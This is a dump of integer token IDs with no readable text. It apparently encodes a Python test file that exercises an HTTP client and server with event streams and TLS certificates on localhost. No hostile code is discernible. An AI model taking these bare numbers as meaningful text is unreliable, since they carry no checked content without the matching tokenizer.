29901, 694, 29899, 8173, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 5350, 29901, 3802, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 276, 2202, 29901, 29871, 29896, 29900, 29900, 29900, 29905, 29876, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29900, 29905, 299, 532, 29901, 6850, 8322, 29905, 29876, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29896, 29905, 299, 532, 29901, 29871, 29896, 29905, 299, 532, 29901, 29871, 29906, 29905, 29876, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29906, 29905, 299, 532, 29901, 29871, 29941, 29905, 299, 532, 29901, 29871, 29946, 29905, 29876, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29941, 29905, 299, 532, 29901, 29871, 29945, 29905, 299, 532, 29901, 29871, 29953, 29905, 29876, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29946, 29905, 299, 532, 29901, 29871, 29955, 29905, 299, 532, 29901, 29871, 29947, 29905, 29876, 29905, 29876, 742, 13, 1678, 4514, 13, 1678, 10191, 3744, 353, 289, 29915, 4286, 7122, 29898, 9012, 29897, 13, 1678, 474, 29916, 29933, 1187, 29889, 7508, 29898, 7645, 3744, 29897, 13, 1678, 13110, 261, 353, 13110, 292, 29889, 29911, 962, 261, 29898, 29873, 962, 386, 29922, 29873, 962, 391, 29889, 29873, 28438, 3285, 14385, 29922, 29900, 29889, 29945, 29897, 13, 1678, 1550, 474, 29916, 29933, 1187, 29889, 7508, 5824, 470, 451, 13110, 261, 29889, 4548, 2859, 29901, 13, 4706, 15595, 29889, 5509, 29903, 1975, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 13, 1678, 396, 13110, 261, 1518, 2859, 29871, 1550, 4840, 1603, 1722, 577, 694, 20890, 297, 869, 26679, 267, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 21762, 29889, 10685, 287, 13, 1678, 4974, 451, 21762, 29889, 3636, 296, 29889, 2760, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29900, 13, 13, 1678, 396, 541, 4959, 1754, 372, 964, 297, 869, 13604, 13, 1678, 4974, 7431, 29898, 3571, 29889, 13604, 29897, 1275, 29871, 29945, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 276, 2202, 1275, 29871, 29896, 29900, 29900, 29900, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 24503, 1275, 525, 29946, 29915, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29900, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 25826, 10827, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29896, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 29896, 29905, 29876, 29906, 10827, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29906, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 29941, 29905, 29876, 29946, 10827, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29941, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 29945, 29905, 29876, 29953, 10827, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29946, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 29955, 29905, 29876, 29947, 10827, 13, 1678, 4974, 451, 21762, 29889, 13604, 13, 13, 1678, 396, 12522, 3204, 15595, 29915, 29879, 474, 29916, 29933, 1187, 3957, 5188, 1535, 368, 577, 21762, 1818, 337, 6915, 13, 1678, 15595, 29889, 5358, 29902, 29916, 29898, 3571, 29889, 11958, 2801, 29889, 1113, 29897, 13, 1678, 15595, 29889, 5992, 29902, 29916, 29898, 3571, 29889, 11958, 2801, 29889, 1113, 29897, 13, 1678, 1550, 5852, 29901, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 565, 451, 21762, 29889, 11958, 2801, 29889, 18045, 29901, 13, 9651, 2867, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29896, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 4469, 337, 6915, 13, 1678, 1550, 5852, 29901, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 15595, 29889, 5509, 17918, 29879, 580, 13, 4706, 565, 21762, 29889, 11958, 2801, 29889, 18045, 322, 21762, 29889, 11958, 2801, 29889, 1113, 297, 15595, 29889, 861, 267, 29901, 13, 9651, 2867, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 1113, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 21852, 978, 580, 13, 1678, 4974, 21762, 29889, 11958, 2801, 29889, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 412, 4510, 580, 13, 1678, 4974, 15595, 29889, 29872, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2350, 13, 13, 1678, 474, 29916, 29933, 1187, 353, 15595, 29889, 861, 267, 29961, 3571, 29889, 11958, 2801, 29889, 1113, 29962, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 1113, 338, 451, 6213, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 338, 451, 6213, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2395, 29889, 657, 21852, 978, 580, 1275, 21762, 29889, 11958, 2801, 29889, 2395, 29889, 657, 412, 4510, 580, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 1113, 1275, 21762, 29889, 11958, 2801, 29889, 1113, 13, 1678, 4974, 474, 29916, 29933, 1187, 29889, 2350, 1275, 21762, 29889, 11958, 2801, 29889, 2350, 13, 13, 1678, 1550, 313, 3571, 29889, 24830, 470, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 29897, 470, 451, 474, 29916, 29933, 1187, 29889, 17697, 5824, 29901, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 4706, 15595, 29889, 5509, 10380, 3145, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 13, 1678, 10191, 797, 353, 6262, 29898, 861, 29933, 1187, 29889, 17697, 5824, 29897, 13, 1678, 4974, 10191, 797, 1275, 313, 29890, 29915, 7194, 847, 5461, 7331, 29914, 29896, 29889, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 8514, 29901, 29871, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29953, 29896, 29900, 29896, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 23965, 29899, 14934, 29901, 10110, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 23965, 29901, 2280, 29914, 3126, 29905, 29878, 29905, 29876, 29915, 13, 462, 268, 289, 29915, 8897, 29899, 2624, 29899, 1204, 29901, 29871, 29946, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 1495, 13, 1678, 474, 29916, 29933, 1187, 29889, 8551, 29934, 29916, 5824, 580, 13, 13, 1678, 396, 620, 2017, 2933, 13, 1678, 3454, 353, 518, 13, 4706, 289, 29915, 10493, 29914, 29896, 29889, 29900, 29871, 29906, 29900, 29900, 9280, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 6004, 29901, 22244, 10967, 29889, 2997, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 2539, 29901, 498, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29906, 29896, 29901, 29941, 29945, 29901, 29906, 29945, 402, 11490, 29905, 29878, 29905, 29876, 29915, 13, 4706, 289, 29915, 3916, 29899, 1542, 29901, 1426, 29914, 3696, 29899, 5461, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 10408, 29899, 4809, 29901, 694, 29899, 8173, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 5350, 29901, 3802, 29905, 29878, 29905, 29876, 29905, 29878, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29945, 29905, 299, 532, 29901, 29871, 29929, 29905, 299, 532, 29901, 29871, 29896, 29900, 29905, 29876, 29905, 29876, 742, 13, 4706, 289, 29915, 333, 29901, 29871, 29953, 29905, 299, 532, 29901, 29871, 29896, 29896, 29905, 299, 532, 29901, 29871, 29896, 29906, 29905, 29876, 29905, 29876, 742, 13, 1678, 4514, 13, 13, 1678, 10191, 3744, 353, 289, 29915, 4286, 7122, 29898, 9012, 29897, 13, 1678, 474, 29916, 29933, 1187, 29889, 7508, 29898, 7645, 3744, 29897, 13, 1678, 13110, 261, 353, 13110, 292, 29889, 29911, 962, 261, 29898, 29873, 962, 386, 29922, 29873, 962, 391, 29889, 29873, 28438, 3285, 14385, 29922, 29900, 29889, 29945, 29897, 13, 1678, 1550, 474, 29916, 29933, 1187, 29889, 7508, 5824, 470, 451, 13110, 261, 29889, 4548, 2859, 29901, 13, 4706, 15595, 29889, 5509, 29903, 1975, 3596, 29902, 29916, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 13110, 391, 29889, 24667, 29898, 517, 384, 29922, 29900, 29889, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 13, 1678, 396, 9346, 287, 714, 1550, 4840, 1603, 1722, 577, 694, 20890, 297, 869, 26679, 267, 13, 1678, 4974, 21762, 29889, 10685, 287, 13, 1678, 4974, 451, 21762, 29889, 3636, 296, 29889, 2760, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29900, 13, 13, 1678, 396, 541, 526, 4959, 297, 869, 13604, 13, 1678, 4974, 7431, 29898, 3571, 29889, 13604, 29897, 1275, 29871, 29906, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 276, 2202, 1275, 29871, 29896, 29900, 29900, 29900, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 24503, 1275, 525, 29953, 29915, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29945, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 29929, 29905, 29876, 29896, 29900, 10827, 13, 1678, 1741, 353, 21762, 29889, 13604, 29889, 7323, 1563, 580, 13, 1678, 4974, 1741, 1275, 11117, 333, 2396, 525, 29953, 742, 525, 978, 2396, 15516, 525, 1272, 2396, 525, 29896, 29896, 29905, 29876, 29896, 29906, 10827, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 1631, 572, 457, 29918, 8057, 29918, 12857, 29918, 29873, 3137, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 16439, 3348, 18499, 411, 323, 29880, 29903, 13, 1678, 9995, 13, 1678, 396, 2974, 2558, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 2024, 1820, 13, 1678, 396, 2974, 20455, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 970, 2284, 13, 1678, 396, 4645, 26270, 1445, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29889, 29886, 331, 29915, 396, 7592, 3132, 970, 2284, 13, 13, 1678, 396, 4645, 2558, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 2024, 1820, 13, 1678, 396, 4645, 20455, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 970, 2284, 13, 1678, 396, 2974, 26270, 1445, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29889, 29886, 331, 29915, 396, 7592, 1923, 970, 2284, 13, 13, 1678, 1923, 2558, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 2024, 1820, 13, 1678, 1923, 20455, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 970, 2284, 13, 1678, 3132, 26270, 1445, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29889, 29886, 331, 29915, 396, 7592, 3132, 970, 2284, 13, 13, 1678, 3132, 2558, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 2024, 1820, 13, 1678, 3132, 20455, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 970, 2284, 13, 1678, 1923, 26270, 1445, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29889, 29886, 331, 29915, 396, 7592, 1923, 970, 2284, 13, 13, 1678, 1923, 20455, 18877, 1170, 353, 525, 7640, 29915, 396, 1993, 3495, 978, 3913, 12424, 29915, 29879, 2284, 3619, 978, 13, 13, 1678, 15595, 353, 22729, 29889, 6004, 29911, 3137, 29898, 3069, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 462, 29871, 2011, 353, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 29871, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 462, 29871, 3030, 29922, 8516, 29892, 13, 462, 462, 29871, 1873, 29922, 8516, 29892, 13, 462, 462, 29871, 2284, 1598, 29922, 8516, 29892, 13, 462, 462, 29871, 1820, 2084, 29922, 2974, 2558, 2084, 29892, 13, 462, 462, 29871, 2284, 2084, 29922, 2974, 20455, 2084, 29892, 13, 462, 462, 29871, 5777, 1445, 2084, 29922, 4645, 26270, 1445, 2084, 29892, 13, 462, 462, 29871, 1723, 13, 1678, 4974, 15595, 29889, 276, 3150, 580, 13, 1678, 4974, 15595, 29889, 2350, 1275, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 1678, 4974, 15595, 29889, 29872, 2350, 29892, 6702, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29896, 29900, 29896, 29897, 13, 13, 1678, 3495, 353, 15595, 29889, 29872, 2350, 29961, 29900, 29962, 13, 1678, 2011, 353, 15595, 29889, 29872, 2350, 29961, 29896, 29962, 13, 13, 1678, 21762, 353, 3132, 292, 29889, 4032, 29898, 28988, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 3986, 2011, 29922, 2312, 29889, 29872, 2350, 29961, 29896, 1402, 13, 462, 3986, 18392, 2311, 29922, 29896, 29941, 29896, 29900, 29955, 29906, 29892, 13, 462, 3986, 11380, 2433, 991, 742, 13, 462, 3986, 337, 6915, 519, 29922, 5574, 29892, 13, 462, 3986, 2284, 287, 3069, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 3986, 1820, 2084, 29922, 4645, 2558, 2084, 29892, 13, 462, 3986, 2284, 2084, 29922, 4645, 20455, 2084, 29892, 13, 462, 3986, 5777, 1445, 2084, 29922, 2974, 26270, 1445, 2084, 29892, 13, 462, 4706, 1723, 13, 13, 1678, 4974, 21762, 29889, 276, 3150, 580, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 16044, 287, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 18045, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 7582, 2696, 13, 13, 1678, 396, 2048, 2009, 13, 1678, 2009, 353, 9657, 4197, 877, 5696, 742, 318, 29915, 7194, 5477, 13, 462, 268, 6702, 2084, 742, 318, 29915, 29914, 8057, 29973, 978, 29922, 29888, 420, 5477, 13, 462, 268, 6702, 29939, 5085, 742, 9657, 25739, 13, 462, 268, 6702, 20777, 742, 318, 4907, 511, 13, 462, 268, 6702, 13662, 742, 9657, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 2314, 511, 13, 462, 268, 6702, 2587, 742, 6213, 511, 13, 462, 268, 2314, 13, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 991, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 396, 16439, 1790, 2009, 13, 1678, 21762, 29889, 24830, 29889, 4397, 29898, 3827, 29897, 13, 13, 1678, 1550, 313, 1333, 15595, 29889, 861, 267, 470, 21762, 29889, 24830, 470, 13, 965, 21762, 29889, 11958, 2801, 29889, 7508, 5824, 470, 451, 21762, 29889, 3636, 296, 29889, 2760, 1125, 13, 4706, 11187, 29923, 1859, 3170, 29898, 2312, 29897, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 4706, 21762, 29889, 5509, 580, 13, 4706, 931, 29889, 17059, 29898, 29900, 29889, 29900, 29945, 29897, 13, 13, 1678, 4974, 451, 21762, 29889, 11958, 2801, 29889, 17697, 5824, 13, 1678, 4974, 451, 21762, 29889, 10685, 287, 13, 1678, 4974, 21762, 29889, 3636, 296, 29889, 2760, 13, 13, 1678, 4974, 7431, 29898, 3571, 29889, 26679, 267, 29897, 1275, 29871, 29896, 13, 1678, 2933, 353, 21762, 29889, 26679, 267, 29889, 7323, 1563, 580, 13, 1678, 4974, 2933, 1275, 11117, 3259, 2396, 313, 29896, 29892, 29871, 29896, 511, 13, 462, 4706, 525, 4882, 2396, 29871, 29906, 29900, 29900, 29892, 13, 462, 4706, 525, 23147, 2396, 525, 8949, 742, 13, 462, 4706, 525, 13662, 2396, 379, 919, 4197, 877, 3916, 29899, 6513, 742, 525, 29896, 29906, 29906, 5477, 6702, 3916, 29899, 1542, 742, 525, 6214, 29914, 3126, 5477, 6702, 2539, 742, 525, 1349, 29884, 29892, 29871, 29941, 29900, 319, 558, 29871, 29906, 29900, 29896, 29945, 29871, 29896, 29929, 29901, 29941, 29955, 29901, 29896, 29955, 402, 11490, 5477, 6702, 6004, 742, 525, 29902, 29877, 10967, 29889, 2997, 1495, 11724, 13, 462, 4706, 525, 2587, 2396, 7023, 2378, 29898, 29890, 29915, 6377, 3051, 1115, 1870, 29892, 376, 1972, 1115, 8853, 978, 1115, 376, 29888, 420, 10758, 376, 18248, 1115, 376, 1692, 29915, 13, 462, 462, 3986, 289, 29915, 29911, 613, 376, 2271, 1115, 376, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 613, 376, 627, 29875, 29915, 13, 462, 462, 3986, 289, 29915, 265, 1115, 1870, 29913, 5477, 13, 462, 4706, 525, 1272, 2396, 11117, 3051, 2396, 6213, 29892, 13, 462, 462, 525, 1972, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 525, 18248, 2396, 525, 7194, 742, 13, 462, 462, 525, 2271, 2396, 525, 1124, 597, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 29901, 29947, 29900, 29947, 29900, 29914, 8057, 29973, 978, 29922, 29888, 420, 742, 13, 462, 462, 525, 2467, 2396, 6213, 1118, 13, 462, 4706, 525, 3827, 2396, 11117, 5696, 2396, 525, 7194, 742, 13, 462, 462, 1678, 525, 2084, 2396, 8207, 8057, 742, 13, 462, 462, 1678, 525, 29939, 5085, 2396, 11117, 978, 2396, 525, 29888, 420, 16675, 13, 462, 462, 1678, 525, 20777, 2396, 15516, 13, 462, 462, 1678, 525, 13662, 2396, 379, 919, 4197, 877, 23965, 742, 525, 6214, 29914, 3126, 1495, 11724, 13, 462, 462, 1678, 525, 2587, 2396, 289, 29915, 742, 13, 462, 462, 1678, 525, 3069, 2396, 525, 7640, 742, 13, 462, 462, 1678, 525, 637, 2396, 29871, 29953, 29896, 29900, 29896, 29892, 13, 462, 462, 1678, 525, 816, 2004, 2396, 525, 991, 742, 13, 462, 462, 1678, 525, 1272, 2396, 6213, 29892, 13, 462, 462, 1678, 525, 29888, 5085, 2396, 6213, 1118, 13, 462, 4706, 525, 2704, 287, 2396, 7700, 29892, 13, 462, 4706, 525, 2704, 2396, 6213, 29913, 13, 13, 1678, 15595, 29889, 5358, 580, 13, 1678, 21762, 29889, 5358, 580, 13, 13, 13, 1753, 1243, 29918, 4645, 29918, 13096, 5570, 29918, 8057, 29918, 12857, 29918, 2084, 29918, 29873, 3137, 7295, 13, 1678, 9995, 13, 1678, 4321, 12477, 16439, 3348, 18499, 411, 2224, 1881, 322, 260, 3137, 13, 1678, 9995, 13, 4706, 396, 2974, 2558, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 2024, 1820, 13, 1678, 396, 2974, 20455, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 970, 2284, 13, 1678, 396, 4645, 26270, 1445, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29889, 29886, 331, 29915, 396, 7592, 3132, 970, 2284, 13, 13, 1678, 396, 4645, 2558, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 2024, 1820, 13, 1678, 396, 4645, 20455, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 4645, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 970, 2284, 13, 1678, 396, 2974, 26270, 1445, 2084, 353, 8207, 7070, 29914, 29886, 1984, 29914, 29873, 3137, 29914, 6327, 29879, 29914, 2974, 29889, 29886, 331, 29915, 396, 7592, 1923, 970, 2284, 13, 13, 1678, 1923, 2558, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 2024, 1820, 13, 1678, 1923, 20455, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 1923, 970, 2284, 13, 1678, 3132, 26270, 1445, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29889, 29886, 331, 29915, 396, 7592, 3132, 970, 2284, 13, 13, 1678, 3132, 2558, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29918, 1989, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 2024, 1820, 13, 1678, 3132, 20455, 2084, 353, 2284, 3972, 2084, 718, 8207, 4645, 29918, 6327, 29889, 29886, 331, 29915, 29871, 396, 1887, 3132, 970, 2284, 13, 1678, 1923, 26270, 1445, 2084, 353, 2284, 3972, 2084, 718, 8207, 2974, 29889, 29886, 331, 29915, 396, 7592, 1923, 970, 2284, 13, 13, 1678, 1923, 20455, 18877, 1170, 353, 525, 7640, 29915, 396, 1993, 3495, 978, 3913, 12424, 29915, 29879, 2284, 3619, 978, 13, 13, 1678, 15595, 353, 22729, 29889, 6004, 29911, 3137, 29898, 3069, 29922, 2974, 20455, 18877, 1170, 29892, 13, 462, 462, 29871, 2011, 